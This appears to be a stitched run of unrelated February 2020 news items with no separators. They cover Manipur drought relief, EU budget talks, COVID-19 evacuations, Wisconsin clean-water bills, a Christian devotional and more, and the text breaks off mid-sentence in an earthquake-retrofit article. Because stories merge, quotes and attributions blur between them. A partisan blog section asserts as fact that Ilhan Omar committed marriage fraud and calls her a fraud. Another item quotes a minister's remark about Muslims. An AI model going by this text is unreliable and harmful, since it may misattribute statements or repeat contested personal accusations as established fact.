The minister however informed the House that the state is yet to take up necessary move for making ngari, traditional dry fish in the state. Agriculture Minister V Hangkhanlian informed the House cultivation cannot be taken up at an estimated area of 99,153 hectares due to drought. Due to scarcity of rainfall, drought like situation in the state, the state cabinet decided to declare drought in the state on August 31 last year, he said. Accordingly, he said report was submitted to Relief and Disaster Management Department and as per the report and Inter ministerial central team visited the state during October 11-17 the previous year for spot verification. Proposal of the State for Relief Assistance is under consideration in the ministry. For the drought affected areas, an amount of INR 6,02,93,000 was sanctioned for procurement of different Rabi seeds from state fund as per contingency crop plant proposed by the department, he added. Replying to another question by congress MLA K Ranjit Singh, the minister also informed that 100 water pumps have been procured and distributed to the beneficiaries for use in the drought affected areas in the state. He further informed that a memorandum of understanding was signed between the pump beneficiaries and District Agriculture Officer (DAO) that the pump allotted to them will be returned to the concerned Officer. President Klaus Iohannis attended on Friday a working meeting with counterparts in the Friends of Cohesion Group, on the sidelines of the extraordinary meeting of the European Council where the future budget of the European Union is being discussed. The goal of the leaders that are part of this group, to be named as of Friday "Friends of an ambitious Europe", is to obtain an ambitious budget, in the best interest of Europe and of the European citizens.The Friends of Cohesion Group includes: Bulgaria, the Czech Republic, Cyprus, Croatia, Estonia, Greece, Italy, Latvia, Lithuania, Malta, Poland, Portugal, Romania, Slovakia, Slovenia, Spain and Hungary.Klaus Iohannis had a meeting on Friday morning with the President of the European Council, Charles Michel, and the President of the European Commission, Ursula von der Leyen, after the works of the extraordinary meeting of the European Council on the EU 2021-2027 multiannual budget have been interrupted.Iohannis said on Friday that no progress has been made as regards the negotiations on the EU 2021-2027 multiannual budget, but that both European Council President Charles Michel and European Commission President Ursula von der Leyen were open to Romania's proposals on the EU's multiannual budget."Both President Charles Michel and President Ursula von der Leyen were open to our proposals and, after the last discussion we had a few weeks ago with the President of the Council, changes have been made in the budget proposal, which meet our demands. "It's part of the negotiation, but until we have unanimity on the budget, we have no budget, we only have discussions and proposals," said Iohannis.He pointed out, nevertheless, that "the positions did not draw closer", not even after the talks in bilateral formats between the representatives of the states with the leadership of the European Council and the European Commission."These discussions lasted until 6:00 hrs, when my team and I joined in the negotiations, but the result is, at least until now, disappointing. I cannot say that progress has been made, the positions did not draw closer and today, in a few minutes, we are going again in a plenary sitting and trying to see if we can make progress in these negotiations. (...) It would be good to make progress, but most of us are - I have to admit - quite skeptical," the Romanian head of state said. AGERPRES In a profile published Friday, the New Yorker recounted a November meeting between Trump adviser Stephen Miller and administration officials on the topic of Central American asylum-seekers. According to the New Yorker: One participant in the November meeting pointed out that El Salvador didnt have a functioning asylum system. They dont need a system, Miller interrupted. He began speaking over people, asking questions, then cutting off the answers. As the meeting ended, Miller held up his hand to make a final comment. I didnt mean to come across as harsh, he said. His voice dropped. Its just that this is all I care about. I dont have a family. I dont have anything else. This is my life. Advertisement Millers sacrifices have, it seems, paid off. Miller, Donald Trumps longest-serving senior aide, has successfully steered anti-immigrant policies from the White House that have rebuffed asylum-seekers at the Southern border, gutted the refugee programs, and generally made it harder to immigrate to the U.S. He has been credited with engineering the disastrous family separations policy. He argued that immigration amounted to a national crisis in need of a border wall. He tried to add harsh restrictions to green card and citizenship applications. He was seen as a driving force behind the infamous Muslim ban. Advertisement Advertisement Advertisement As the New Yorker story pointed out, Miller has made it clear that he feels a level of emotion about immigration that few other Trump administration officials can summon. (Miller has a record of promoting white nationalist talking points, pulled from white supremacist websites and people, to support his campaign.) One former New York Times reporter had seen that firsthand. The reporter, Julia Preston, told the New Yorker that in a conversation about H-1B visas he was talking so passionately that he actually wept. One thing has changed for Miller: On Sunday, he married Katie Waldman, press secretary to Vice President Mike Pence. The two met when they were introduced by friends in 2018 and got engaged in November, the same month as the meeting where he made his comments. Source: Xinhua| 2020-02-21 11:16:56|Editor: huaxia Video Player Close VIENTIANE, Feb. 21 (Xinhua) -- Chinese State Councilor and Foreign Minister Wang Yi has said countries of the Lancang-Mekong Cooperation (LMC) will work together to tide over the difficult times amid an outbreak of the novel coronavirus (COVID-19) epidemic. He made the remarks at a joint press conference with Lao Foreign Minister Saleumxay Kommasith at the conclusion of the fifth Lancang-Mekong Cooperation Foreign Ministers' Meeting here on Thursday. The ministerial meeting, which was held amid the COVID-19 epidemic outbreak, demonstrated the Lancang-Mekong cooperation of sincerity, mutual assistance and affinity, Wang said. It also showed that the LMC countries are sharing their weal and woe, he added, believing that the LMC countries will work together to tide over the difficult times. "We are confident that through concerted efforts we will win the battle against the COVID-19 epidemic and safeguard the health and safety of people along the Lancang-Mekong river," Wang said. The LMC is a sub-regional cooperation mechanism jointly established by Cambodia, China, Laos, Myanmar, Thailand and Vietnam. Originating from the Qinghai-Tibet Plateau in China, the river is called the Lancang River in China and the Mekong River when it flows through the other five countries before emptying into the sea. Minister claims country paying price for not sending Muslims to Pak. Patna: Union minister Giriraj Singh on Friday stoked a fresh controversy with his statement that the country is paying the price for not sending all Muslims to Pakistan and bringing Hindus at the time of independence. He gave the statement while leading a campaign in support of CAA, NPR and NRC in Bihars Purnea which has a sizeable Muslim population. Our forefathers made a mistake by not sending our Muslim brothers to Pakistan and bringing Hindus at the time of Independence. The whole country is paying the price today for the mistake they committed, Union minister Giriraj Singh said. With Assembly elections in the state slated to be held in November, political temperature has been high since the Citizenship Amendment Act came into force. The state has been witnessing massive anti-CAA protests in several districts including Patna, Begusarai and Gaya. While CPI leader and former JNUSU president Kanhaiya Kumar has been leading anti-CAA campaign through his statewide Jan Gan Man Yatra, BJPs firebrand leader Giriraj Singh is trying to reach out to the masses in support of the CAA. Targeting the Opposition RJD-Congress combine during the occasion, he said that all these political forces including the tukde tukde gang want to convert India into Pakistan. Sources said that BJP allies in Bihar have been miffed over some of Giriraj Singhs remarks including the one in which he was heard saying that Deoband is Gangotri of terrorism. The JD(U) insiders in Patna told this newspaper that the party has already asked the BJP leadership to take cognizance of his remark which is making NDA partners uncomfortable in Bihar. LJP Chief Chirag Paswan, who launched a statewide Bihar First Bihari First tour on Friday, also expressed strong disapproval on Singhs statement and said that NDA in the Delhi polls suffered due to divisive remarks made by BJP leaders. Spend 10 minutes walking around downtown San Antonio and you'll likely see at least one high rise hotel under construction. Aging buildings need to be updated periodically, but the renovations underway at a spate of San Antonio hotels also reflect travelers changing preferences, said Paul Vaughn, senior vice president at local hotel consulting firm Source Strategies. Gov. Tony Evers declared 2019 the year of clean drinking water. Not long after, Assembly Speaker Robin Vos formed a bipartisan clean water task force that sent state lawmakers into various counties throughout Wisconsin to gain knowledge through public feedback. In late January, those lawmakers presented their conclusions in the form of more than a dozen recommended laws allocating about $10 million. Some proposed new funding for producers to embrace conservation-based farming. The Assembly approved the bills, the majority on a bipartisan, unanimous vote, during its session Tuesday. Assembly Bill 795 dedicates funding through the Department of Agriculture, Trade and Consumer Protection for the cost of watershed stewardship groups certification. The bill calls for rebates for cover crop insurance premiums at $5 per acre if farmers are unable to do so through local watershed groups. It also calls for an additional $250,000 for producer-led watershed protection grants to be given to farmers in adjacent watersheds to a farmer-led watershed group. A watershed, or drainage basin, is the land area surrounding a body of water that collects precipitation and flows water toward it. If the watershed isnt maintained, its contaminants then flow into the body of water and pollute it . Groundwater flows through many of these bodies of water. For Ron Schoepp, increasing funding to support farmers who practice conservation is an easy choice. Everything should be conservation-based, Schoepp said. On his farm in rural Lodi, Schoepp said his reminder to maintain his farm in a way that avoids polluted water runoff sits just down the hill: Lake Wisconsin. Agricultural practices make a difference It could be so much less of a problem with cover crops, no till and rotational grazing, Schoepp said of keeping water as clean as possible. So much less run off, less pollution. No till, or the practice of growing crops without disturbing the soil through tillage practices that can cause erosion, was adopted by Schoepp nearly 30 years ago. He displayed photos of clear water running from his field in the spring during a conference conducted by the Sauk Soil & Water Improvement Group in early February. Schoepp Farms moved to rotational grazing in 2000. Mob grazing was a change in 2008 that provided a learning experience for Schoepp. The practice requires holding cattle in a small area for a few hours each day, referred to as high intensity, short-duration grazing. Once the cattle have eaten the plants on the ground and their handlers ensure waste has been put back onto the ground, the fence posts are moved. Schoepp said they travel along a long, narrow strip of land spanning about 3.5 acres for about a week, being moved three times each day and fenced off to avoid a return to the area they were previously in. Once the animals are positioned in another area, the ground goes undisturbed for about two months. They trample what they dont eat, Schoepp said, which helps compact the soil by covering it with vegetation. In the winter, the schedule is a bit different. The cattle are kept in a field of corn covered in snow. They come into the yard for grain and water before going out into the field to lie in the hay. Theyre kept comfortable by windbreaks, wooden fence planks affixed to wheels which stand at about 12 feet, when the winter wind takes a bad turn. The wheels are to make it easier as they rotate the cattle along the field, but on warm days, the animals are ideally moving throughout the field without much concern. A lot of days, they will not use them, theyll just lay out and about wherever they want, Schoepp said. And thats perfect. When its windy and cold, then theyll lay out by them. Farmers take the lead Darren Yanke of Echo-Y Farms, near Loganville, is a fourth generation farmer along with his brother Derek. Yanke said his father Doug adopted no-till practices in the 1980s, pushing for change against his own resistant father. He and Derek were able to take that practice and make improvements to the familys 1,300 acres. Like Schoepp, Yanke moves his Angus beef cattle and Holstein heifers rotationally, but places the bales early during the winter, so all he has to do is pull up metal posts after wrapping up the fence. The cattle move to a new area as they seek out their food source. Yanke was one of the founders of the farmer-led conservationist group in Sauk County that began in 2019. He said even though its only been a year since it formed, people are interested and approaching him to ask questions about his conservation methods. Assembly Bill 790 provides funding in exchange for maintaining or increasing county conservation staff. The proposed legislation calls for an increased appropriation of more than $2.96 million to DATCP for county conservation staffing under the soil and water resource management program. The bill requires that counties agrees to maintain staff at the same or higher number until late 2022. It also requires that staff can help people enroll in the conservation reserve enhancement program that pays farmers to not produce on land considered to be a conservation concern. Instead, farmers would plant resource conserving plant species on that land. Support Local Journalism Your membership makes our reporting possible. {{featured_button_text}} Yanke said the county conservation department helped him establish a perennial pasture on his land in 2017. Without the funding assistance, which is a 75% reimbursement for seed that costs about $150 per acre, Yanke said it may not have happened. I dont know if we would have done it or not without the funding, Yanke said. Its a lot of work. Its a big task and its just nice knowing you have a little extra kickback. Youre doing the right thing, too. Putting in the pasture is the right thing to do. Though Yanke said he and others within the Sauk conservation group (SSWIG) enjoy working with county conservation staff, some farmers dont want to seek funding from a government agency that would mandate their actions. Thats where the group comes in. The producer needs to hear from another producer, not from the county conservationist, Yanke said. Its hard for them to listen to someone who just sits in the office who knows a lot of stuff, but aint out in the field doing it. Theyve got all these great programs, they just need to get behind them and get out there and help the farmers along, which they need more funding for that, I suppose. Tony Peirick, president of the Dodge County Farmers for Healthy Soil-Healthy Water, echoed the sentiment that farmers want to learn from one another, not legislators or public officials. Peirick said groups like his are the answer. Theyll be the ones that will hopefully lead this more so than the government forcing it on us, Peirick said. Theyve got to be careful. They cant go and force stuff on us. Farmers will listen to farmers, more so than they will government officials. If legislators and officials work with those groups to come up with solutions, it will help them out a lot better than trying to come up with regulations. Wisconsin District 81 Rep. Dave Considine of Baraboo agrees. Farmers need help, but theyre not going to run to Madison to get it, Considine said. Thats why he feels AB 790 will be especially effective, because it helps conservation departments fund positions that enable experts to literally get out in the field. They can create a rapport with farmers and help them with conservation practices rather than seeming like theyre giving orders from a desk. We want to share information with them, form a relationship with them and offer help, Considine said. Thats what this is about. The groups vice president, Marty Weiss said that additional funding would be helpful to ensure someone looking to begin planting cover crops could do so financially. But it shouldnt be at an ongoing cost to the government, they said. Youve got the stigma out there that cover crops cost money, and they will in hard times like this, but the longer they do it, the better the payback is, Weiss said. Changes require a balancing act With new programs come new guidelines for how to use the funding provided farmers. That can prove to be unattractive for some producers. SSWIG collaborator Justine Bula said there will likely be a mixed reaction to increased funding paired with possible increased regulation. Especially in an economy where farmers are struggling to keep their operations from going bankrupt. A lot of times that change is hard, Bula said. Some of these practices require specialized equipment or different equipment than whats out there. Its a tough sell sometimes. Its asking people to change something theyve been doing for so long. Its already a tough economy for agriculture right now, so they might be just scraping by so when youre asking them to kind of jump off the deep end and try something completely different, its scary. Yanke said since the group formed with its focus to show through results that conservation practices are effective, people have been asking more questions and seeking more information. A personal goal for him in helping form the group was to show there are other ideas that could help lower costs while providing quality results. Im just trying to help others out, Yanke said. It is a hard time in farming and we feel like were saving money compared to some other farms that are spending more by working the soil. With cover crops added, soil organic matter increased by 0.5% from 2013 to 2019, on Echo-Y farmland, which Yanke said was pretty substantial because its 12,000 gallons of water to hold in the soil profile. It can be beneficial during a year with little precipitation and it increases soil nutrients for growing. Sometimes the farmer-led group is more of a morale booster and social opportunity for isolated farmers, Yanke added. When times are tough, sometimes people need someone to talk to, he said and the 15 or so members support each other. Though Dodge and Sauk counties have farmer-led conservation groups, Columbia County currently does not. However, George Koepp, agriculture agent with the University of Wisconsin-Extension Columbia County, said that may soon change. In March he and county conservation officials plan to meet with a variety of local farmers, which includes Schoepp, to discuss creating a farmer-led organization. Farmers want to lessen their impact if it means cleaner resources and reduced costs, but it depends on whether the elements come together to make the work successful, Koepp said. Yanke noted that if a farmer tries something new and it doesnt work, there goes the year. Koepp said the fall was a good example of how good intentions can be foiled in the face of bad weather. When the temperature was so low the ground froze in October and early November, before soybeans and corn could even be properly harvested, the possibility of planting cover crops that would grow in the winter was essentially eliminated. Its disheartening for the farmers when they try to do the right thing and it just wont work, Koepp said. Koepp said he couldnt speak to the details of the newly proposed legislation or whether it would have a positive impact on the countys farmers, but he said there has been an interest throughout Columbia County to adopt more conservation-based practices. Cover crops especially, he said. Farmers want to keep water on the land, feed their crops, Koepp said. They want to keep the soil where it is because if they lose the soil through erosion, they lose productivity over time. Theyre looking for ways to try and do the right thing. Follow Bridget on Twitter @cookebridget or contact her at 608-745-3513. Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Ten tiny dedicated dancers from Southeast Texas have captured the countrys imagination thanks to some enchanting images created by Beaumont photographer Brandie Perry. The first photo of the dancers, captioned fierce, determined, strong and posted on Perrys Facebook page on Feb. 10, slowly gathered likes and shares and then exploded when it was shared on ABCs Good Morning America. The story of the photo shoot showcasing dancers ages 5 to 8 has since been shared by media outlets such as People.com, BET.com and the Daily Mail, as well as local television stations. While many of the media outlets linked the girl-power poses to Black History Month, the association was just a happy coincidence. Roshunda Vallery, whose daughter Taraji is one of the dancers, came up with the idea of a photo show starring the 10 friends in December. The idea came when I came across a photo of ballerinas, Vallery said. I sent it to the other mothers, but we could not come up with an available day to meet up due to dance schedule conflicts. It just so happens that the day we could spend together was in February. Vallery wanted the photos for 8-year-old Tarajis scrap book because this is the childs last year with iRule Dance Studio before a move to Houston. The idea (for the photo) was just a bunch of ballerinas laughing, talking and joking, said Perry, whose business is called Bee Photography. Trying to pose 10 little girls was hard and challenging but worth the outcome. iRule Dance Studio is a second home to the young dancers, said Shawna Feliciano, whose daughter Deseraye Gums, 7, is featured in the photo. We are from Atlanta with no family here, Feliciano said, so these girls are Deserayes sisters, her family. They attend six days a week and practice few hours a day. They work hard; they do not complain; they give it their all; and on top of that, they bond. The young dancers have a strong sense of teamwork and sisterhood, said Britney Manning, mom to 5-year-old Baylee. My daughter is the youngest and the smallest, Manning said. Every time she thinks she cannot do something because her legs arent as long, the other girls say, you got it, you can do it. It gives her courage and hope and she doesnt give up. This media attention means that people care about these little girls of color dancing, doing something positive and have a strong connection, Manning said. Six-year-old dancer Chloe Collins mother, Jade, knew the picture was special but was surprised by the attention. Chloe has been dancing since she was 3 years old and has never once complained about how busy dance life can sometimes be. The bond she has with her dance sisters is creating lifetime friendships and I love it. As a mom I see such beauty and wonder in my daughter, but to be able to share a small piece of her with the world gives me so much pride and joy, said Shonte Jean, whose daughter Jace Leonard is one of the featured dancers. Beaumont has many diamonds in the rough, Jean said. I am so proud of the city that my daughter calls her hometown, embracing such pure beauty in these little girls. Southeast Texans can catch the now famous dancers in action when iRule Dance Studio puts on its spring show at 2 and 7 p.m. Feb. 29 at the Westbrook Performing Arts Center. Find details at iruledance.com. Dustin and Caren Moore were on a flight home with their adopted baby girl, who was just eight days old. Midflight from Colorado to California, Dustin realized the baby needed a diaper change. A Southwest Airlines flight attendant led the couple to a space where they could care for their newborn. The flight attendant and another passenger complimented the little girl and asked what had prompted a flight with such a young infant. The father told them the story, which included nine years of fertility treatments, miscarriages, and adoption stress. Five minutes later, another flight attendant came on the intercom to announce, Ladies and gentlemen, theres a very special guest on the flight today. Shes only eight days old and shes traveling home with her mom and dad. The flight attendant then announced that he would be passing out napkins and pens for anyone who wanted to write a message for the new parents. Sixty notes were collected. One of them read, I was adopted 64 years ago. Thank you for giving this child a loving family to be part of. Us adopted kids need a little extra love. Congratulations. Dustins mother made the napkin notes into a book so the couple could preserve the advice and good wishes for their daughter. In a related story, the Washington Post tells us about Hannah Brencher, an Atlanta writer who left kind notes in public places when she lived in New York City. Her idea birthed a movement called The World Needs More Love Letters, which now operates in seventy countries and has delivered more than 250,000 letters. What one person starts, others can continue. HGTV features a "throuple" on House Hunters Thats the good news. Heres the bad news: the same process works even if the cause is less worthy. Utah senators passed a bill this week to decriminalize polygamy in their state. Sen. Deidre Hendersons bill cleared the Senate by a unanimous vote and now heads to the House. This is just the latest in a series of actions intended to accelerate polygamy as an accepted form of marriage in America. HGTV recently featured its first throuplethree people in a polyamorous romantic relationshipon one of its House Hunters episodes. And parents in Washington state are alarmed about potential legislation that would require all public schools in their state to provide comprehensive sex education to each student by the 202223 school year. Laurie Dills, who oversees sexual health education for the state superintendents office, is behind the move. According to one group, the legislation would introduce programs encouraging students to experiment with same or opposite sex partners and would teach content too explicit for me to describe here. "The thought of one who is at ease" If youre like me, such stories leave you shaking your head at the growing immorality of our culture. For those who seek to live by biblical truth, however, theres a hidden temptation we must identify and avoid. Responding to his accusers, Job made this observation: In the thought of one who is at ease there is contempt for misfortune (Job 12:5). I have found Job to be right. When I am at ease, I can easily develop contempt for those who are not. I can blame lost people for being lost and secular people for living by secular morality. But the wrong way to see the immorality of our culture is through a superior, condemning attitude. The right way is to grieve for the lost and stand in solidarity with those we are called to serve. When Nehemiah heard about the suffering of Jerusalem resulting from the nations sin and divine judgment, he turned to God, confessing the sins of the people of Israel, which we have sinned against you. Even I and my fathers house have sinned (Nehemiah 1:6, my emphasis). We have no evidence that Nehemiah participated in the idolatry and immorality that led to the destruction of the city, but he counted himself one with his Jewish people and made their condition his own. When Jesus drew near that same city, he wept over it, saying, Would that you, even you, had known on this day the things that make for peace! But now they are hidden from your eyes' (Luke 19:41-42). He then rode into the Holy City and called its people to faith in himself before judgment fell. "This procedure galls Satan the most" If we are the only salt and light of the world, we must take responsibility for responding to the decay and darkness of the world (Matthew 5:13-16). And we must beware lest the sins we condemn become sins we commit. The sixteenth-century theologian Erasmus advised us: If Satan tempts you toward boasting, double your efforts to be humble in all things. If Satan tempts you to withhold your prayers, increase them. If your inclinations are to be greedy and selfish, increase your donations to charity. This way you can find in temptation renewed provocation to increased piety. This procedure galls Satan the most. It makes him afraid to tempt you because nothing is more hateful to the Evil One than that he should be responsible for some good. How will you make Satan responsible for some good today? Publication date: February 21, 2020 Photo courtesy: Pexels/Pixabay For more from the Denison Forum, please visit www.denisonforum.org. The Daily Article Podcast is Here! Click to Listen A Cibolo Police Department officer has been charged with possession of child pornography, officials said. Officer Chris Ybarra was arrested at 4:40 p.m. Thursday and booked into the Guadalupe County Jail, according to Cibolo Police Chief Bryan Hugghins. The department was notified by the Texas Attorney Generals Office that there was a warrant for Ybarras arrest in the case, police said. Details regarding his arrest and the charge Ybarra faces were not immediately available. Hugghins said the department is cooperating with authorities and that Ybarra was placed on leave pending the outcome of an administrative investigation. We will continue to hold those within our organization accountable to those high morals and ethical standards and swiftly deal with those who choose to violate those standards, the chief said in a statement. Jacob Beltran is a reporter covering San Antonio and Bexar County. Read him on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | jbeltran@express-news.net | Twitter: @JBfromSA Chennai, Feb 21 : Vice President M. Venkaiah Naidu on Friday called upon students to develop a positive and constructive outlook and also have healthy debate on national and international issues. Interacting with the students of the PSG Institutions in Coimbatore about 500 km from here Naidu urged the students to shun negativism and develop a positive and constructive outlook towards life. He also asked the students to have healthy and constructive debates on all issues of national and international importance. Naidu said India has to reclaim its past glory of being the `Vishwa Guru' as the country has the ability and skill but they have to be recognised, nurtured and encouraged. Pointing out the speed at which a person in Kambala sport runs, Naidu said India has such hidden talents and many Indians are heading organisations like Google, Microsoft and others. He said the students have to be trained for 21st century technology and added that schooling and skilling must go together. According to him, Indian approach to education also includes the spiritual aspect of the development and does not restrict itself to individual or material achievements. Photo: The Canadian Press A bus carrying passengers from the quarantined Diamond Princess cruise ship leaves port in Yokohama, Friday. A plane carrying 129 Canadians and their families who have spent weeks confined to cabins aboard a coronavirus-stricken cruise ship in Japan landed on Canadian soil this morning. The former Diamond Princess passengers can expect to undergo another two weeks of isolation at the Nav Centre in Cornwall, Ont., where they will be monitored for potential signs of the coronavirus, or COVID-19. All of them were tested for the virus by Japanese officials before they left the ship, which has been docked in Yokohama, Japan, since early February. So far none shows any symptoms of the virus. The ship was the site of the largest outbreak of COVID-19 outside of China, where the virus originated. The Diamond Princess had more than half of the confirmed cases outside that country. There were about 250 Canadians originally aboard the ship, and of those 47 contracted the illness and were not allowed to return home. They remain in Japan for treatment while they receive consular services. Others who chose to stay behind with loved ones who are sick, for instance will be subjected to a mandatory quarantine when they return to Canada on commercial flights. Those who were allowed to return landed at Canadian Forces Base Trenton at 2 a.m. Eastern time, where they were screened for symptoms before they were taken by bus to Cornwall. They are to be confined to rooms in the Nav Centre until they are released from quarantine. "The returning Canadians have been through a stressful experience over the past couple of weeks. During their quarantine in Canada, we will offer support for both their mental and physical well-being," Health Minister Patty Hajdu said in a written release Friday. The Diamond Princess evacuees will be subjected to the same screening as the Canadians who were repatriated from Wuhan, China, the centre of the outbreak hundreds of whom are to be released today. US intelligence officials told lawmakers in a confidential briefing last week that Russia is meddling in the 2020 poll campaign to ensure the re-election of President Donald Trump, viewing his administration as favourable to Kremlins interests, according to media reports. Though no specifics were reported, The New York Times, which broke the news, said Moscow intended to interfere in the 2020 Democratic nominating contests and the general election, which is due in November. Russia has denied it was interfering in the US election. These are new paranoid reports, which, to our deep regret, will continue to grow in number as the election day approaches, Kremlin spokesman Dmitry Peskov told reporters. Naturally, they have nothing to do with the truth. Trump on Friday dismissed reported warnings by US intelligence that Russia is meddling in this years elections as a hoax planted by his Democratic rivals. Another misinformation campaign is being launched by Democrats in Congress saying that Russia prefers me to any of the Do Nothing Democrat candidates who still have been unable to, after two weeks, count their votes in Iowa, Trump wrote on Twitter. On Thursday, a judge sentenced Trumps adviser Roger Stone to three years and four months in prison and said his lies to lawmakers investigating Russian interference in the 2016 US election posed a threat to American democracy. Ryanair refuses to compensate the damage caused to the passengers aboard the plane that flew from Milan to Yerevan. This is what Ryanairs director and co-founder Vaner Harutyunyan announced today, the day marking the anniversary of Passenger.am, adding that this can entail a long procedure. Several dozens of passengers of that flight contacted us, and Ryanair did everything it could to help them. Were constantly in touch with the airport in Milan and Italys aviation authorities, he stated. According to him, even if an airline company is to blame for a particular incident, it has to do everything it can to make sure the passengers reach the destination. This is accepted in developed countries, Vaner Harutyunyan. Nearly 100 Americans evacuated from China amid the coronavirus outbreak were released from a quarantine station in Texas - where one is in treatment for the disease - on Thursday. The 90 evacuees completed the mandatory 14-day quarantine and are allowed to return home from Lackland Air Force Base where they were flown together earlier this month. All of them had been evacuated from Wuhan in the province of Hubei, the epicenter of the outbreak, where 95 percent of the 2,245 coronavirus deaths have occurred. However, one person on the group's flight was diagnosed with the virus, and officials say he or she will remain in a Texas hospital to receive treatment. Meanwhile, an American who was aboard the Diamond Princess cruise ship in Japan and is now stuck there after she was diagnosed with coronavirus, has begged US officials to send a flight over and 'bring them home.' On Thursday, 90 Americans evacuated from Wuhan were released from their quarantine at Lackland Air Force Base (pictured) in Texas One person among their group has tested positive for the virus and will remain at a hospital in Texas for treatment. Pictured: A worker checks the temperatures of a passengers onboard an evacuation flight from the Diamond Princess cruise ship in Japan to Lackland The Centers for Disease Control and Prevention (CDC) said in a statement that the 90 evacuees have 'been medically cleared,' of the virus that's struck more than 76,000 people worldwide and said they 'pose no health risk' to their respective communities. Meanwhile, the CDC and the US Department of Health and Human Services have set guidelines for the US citizens still stuck in Japan - who were onboard the Diamond Princess ship and tested positive for coronavirus - before they return home. 'You will not be cleared to travel simply by waiting 14 days,' a letter from the US embassy in Tokyo read. Criteria that must be met include not having a fever, improvement of symptoms and testing negative on two sets of nasal and throat swabs that are done 24 hours apart. One American who received this letter is Rebecca Frasure. They abandoned us here and they don't care. The US government needs to come back and bring us home. Rebecca Frasure, an American citizen stuck in Japan after being diagnosed with coronavirus She told CNBC she only had a minor cough but no fever when she tested positive for coronavirus aboard the Diamond Princess. '[My heart] just sank. I didn't know what to do. I didn't know what to say,' she said. Since then, she's remained in isolation in a hospital in Tokyo, separated from her husband who tested negative for the virus. The couple was among more than 400 Americans aboard the cruise ship when it placed was under quarantine. On Sunday, more than 300 Americans passengers were flown back to the US to undergo another 14-day quarantine period. Americans like Rebecca Fraser (left and right) diagnosed with coronavirus who are stuck in Japan have been told by officials they have to meet three criteria before going home. This includes not having a fever, improvement of symptoms and testing negative on two sets of nasal and throat swabs that are done 24 hours apart Fraser (pictured), who has been in isolation at a hospital in Tokyo, is begging US officials to send another evacuation flight Frasure said she was told by the US State Department she had to stay in Japan because sick passengers weren't being allowed to board. She said she was crushed when she learned 14 Americans who tested positive were eventually allowed on the flight. Frasure says the isolation of only interacting with doctors and nurses is starting to take a mental and emotional toll on her. 'They abandoned us here and they don't care. The US government needs to come back and bring us home,' she told CNBC. However, the US is not sending another evacuation flight. The passengers will have to undergo a 14-day quarantine period before being permitted to board flights to the States. Source: Xinhua| 2020-02-21 22:29:16|Editor: huaxia Video Player Close Members of a medical team cheer for themselves before leaving for Wuhan at Chongqing Jiangbei International Airport in southwest China's Chongqing Municipality on Feb. 21, 2020. A team of 173 medical workers from the municipality left on Friday for Wuhan City, the epicentre of the novel coronavirus outbreak. By now, Chongqing has dispatched some 1,378 medical workers to the coronavirus-hit Hubei Province to help fight against the virus. (Xinhua/Wang Quanchao) As of this morning, I cant find a story in the Minnesota media that follows up on the Daily Mails report that Rep. Ilhan Omar married her brother in 2009 for fraudulent purposes. Its not breaking news. We Preya Samsundar, David Steinberg, and I have been telling the story over the past three and a half years. The underlying story is Omars reign of terror seeking to suppress the story. The reign of terror extended beyond the Somali community to scoop up David Steinberg in Omar enforcer Guhaad Hashis terroristic threats last month. I reported on those threats here. My original Somali source was Abdi Nur. He now speaks in the Daily Mail story by Martin Gould. Abdi has a widely followed Facebook page for his videos and comments. He posts under the name Xerta Shekh. Yesterday Abdi commented on the Daily Mail story as follows (translated by the Facebook software): Somalis in Minnesota are very afraid of Ilhan Omar and her team and they cant speak and they cant tell the truth. All Somalis know that Ilhan her brother has taken a false marriage to the law but I dont forget the truth. No one is afraid of Daily Mail and I told them everything. Telling is true The translation is rough, but you get the point. Abdi adds: I am going to declare under perjury of law that I have not received one single penny from anyone to discuss Ilhan Omars issues. Ilhan Omar is a pathological liar who has lied about many people in different elections. Ilhan has lied to the people of America, specifically the poor Somali people who trusted her to be their helper in Congress. She lied through her teeth to elderly people who stood in line for hours to vote for their dreams which they saw in her[T]his country is ours and we Love America. It is our job to defend it and I will do everything to protect it from someone who despises our country. We are united in all faiths and colors to continue to live together Abdi was responding to Omars panicked tweet (below) on the Daily Mail story. Abdi received no payment from the Daily Mail and has been telling me the same story for over three years at no charge. Preya Samsundar and David Steinberg have also confirmed the story via social media several times over. Omar is a world-class faker and fraud. Paying people to generate fake new stories in order to delegitimize me and those I represent isnt a good look. Desperation is a sad mobilizing tool. Ilhan Omar (@IlhanMN) February 20, 2020 Abdi also posted a video on his Facebook page yesterday. I asked a Somali friend to tell me what he had to say. This was Abdis message to the world as conveyed by my friend: He asked her to resign!!! A request from Somali people so we can move on! I cant even tell you how much he defended the Jewish people of the 5th district . He talked about how evil and divisive she is, how she hurt the Jewish people after they trusted her. We didnt elect her to harm people under the banner of the Somali community. All that afternoon he played the national anthem and declared his loyalty for America. Someday Abdi will get an award for what he didIlhan is sponsored by people we dont know to hurt America and Israel and you and Abdi stopped this, Scott. I really hope they honor you both. Thats the optimistic take, but let it be. Andrea Widburg has the best take on the Daily Mail story here at American Thinker. Other accounts here at the New York Post, here at the Washington Examiner, here at the Hill, and here at Fox News provide a superficial glimpses of the story, yet they all beat the Star Tribune and its Minnesota colleagues. They remain in silent mode. Your tax-deductible gift today powers our reporters and keeps us independent. We rely on you, our reader, not paywalls to stay funded because we believe important news and information should be freely accessible to all. Start your day with LAist Sign up for the Morning Brief, delivered weekdays. Subscribe In what sounds like every internet scam ever -- but is totally definitely not -- you may be able to get a free $3,000 from the state of California to protect your home from an earthquake, assuming you qualify. It's available through the California Earthquake Authority's Earthquake Brace + Bolt program, which you can apply to now. BEWARE PRE-1980 HOMES If there's a temblor, and you live in a house built before 1980 (and especially 1940) that's never been retrofitted, there's a chance that it could slide off its foundation. It's a widespread problem throughout the state with an estimated 1.2 million homes at risk, according to the California Earthquake Authority. Back before 1980, building codes meant to protect homes from earthquakes were severely lacking or nonexistent. Thus, many wood frame homes in California haven't been adequately attached to their foundations. That's a problem when the ground beneath them begins to move violently from side to side. The foundation can go in one direction, and the house in another. When that happens, the whole thing can shift precariously and topple off the foundation, requiring hundreds of thousands of dollars in repairs -- assuming that it can be fixed at all. The good news is that the solution to keeping your home safe is fairly simple. Your house just needs to be retrofitted. And the government wants to help you do that. Here's how it works: HOW MUCH DOES IT COST? The CEA estimates that a retrofit costs between $3,000 and $7,000, and generally takes two to three days to complete, depending on the type of home you have and where you live. To help offset that cost, California's Earthquake Brace + Bolt program is offering up to $3,000 towards the retrofit. HOW DO I GET THE MONEY? First, you have to qualify. Here are some criteria: Are you the homeowner? Was the home built before 1980? Is it on a raised 